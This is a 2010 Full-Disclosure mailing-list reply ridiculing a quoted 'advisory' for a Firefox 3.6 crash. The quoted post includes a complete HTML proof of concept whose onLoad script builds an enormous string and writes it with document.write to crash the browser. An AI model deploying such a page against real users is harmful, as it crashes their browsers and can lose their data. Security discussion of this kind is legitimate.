You gotta be joking, this is probably the 3000th DoS "advisory" for document.write.
Guess what sparky, even Jeremy Brown didn't post that one. Thus no surprise exploit-db post this kind of shit. 2010/3/3 information security <[email protected]> > http://www.exploit-db.com/exploits/11617 > > ======================================================================= > > Mozilla Firefox 3.6 plenitude String Crash(0day) > Exploit > > > ======================================================================= > > by > > Asheesh Kumar Mani Tripathi > > > # code by Asheesh kumar Mani Tripathi > > # email [email protected] > > # company www.aksitservices.co.in > > # Credit by Asheesh Anaconda > > > #Download www.mozilla.com/firefox > > > #Background > > Mozilla Firefox is a popular internet browser. .....:) > > #Vulnerability > > This bug is a typical result when attacker try to write plenitude String in > document.write() function .User interaction is required to > exploit this vulnerability in that the target must visit a malicious > web page. > > > #Impact > MOzilla Crash :) > > > #Proof of concept > copy the code in text file and save as "asheesh.html" and closed all tabs and > windows to avoid any lost of data > > open in Mozilla Firefox and wait for 15 sec ...... :) and say Good Bye > > Mozilla ....... > > Per usske phele Mozilla k antim darshan kar le :) Prem se bolo jai maata di > > Mozilla Rest In Piece!!!!!!!!!!!!!!!!!!!!!!!!!!! > > ======================================================================================================================== > > asheesh.html > ======================================================================================================================== > > > <html> > > <title>asheesh kumar mani tripathi</title> > </br>Asheesh kumar Mani Tripathi > <head> > > <script> > > > > function asheesh () > { > var i=24 , anaconda = "XXXX" > > for(i=24;i >0 ;--i) > { > anaconda=anaconda+anaconda; > } > > document.write(anaconda); > > > > } > > </script> > </head> > > <body onLoad="asheesh()"></body> > > </html> > > ======================================================================================================================== > BHAGAVAD GITA Quote > > You came empty handed, you will leave empty handed. What is yours today, > belonged to someone else yesterday, and will belong to someone else the day > after tomorrow. So, whatever you do, do it as a dedication to God! > > > Tum khaali haath aaye, khaali haath chale. Jo aaj tumhara hain, wao kal kisi > aur ka tha, parso kisi aur ka hoga. Tum isse apna samajhkar magna ho rahe > ho,bus yahi prasannatha tumhare dukhon ka kaaran hain. > > #If you have any questions, comments, or concerns, feel free to contact me > > > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.grok.org.uk/full-disclosure-charter.html > Hosted and sponsored by Secunia - http://secunia.com/ >
_______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
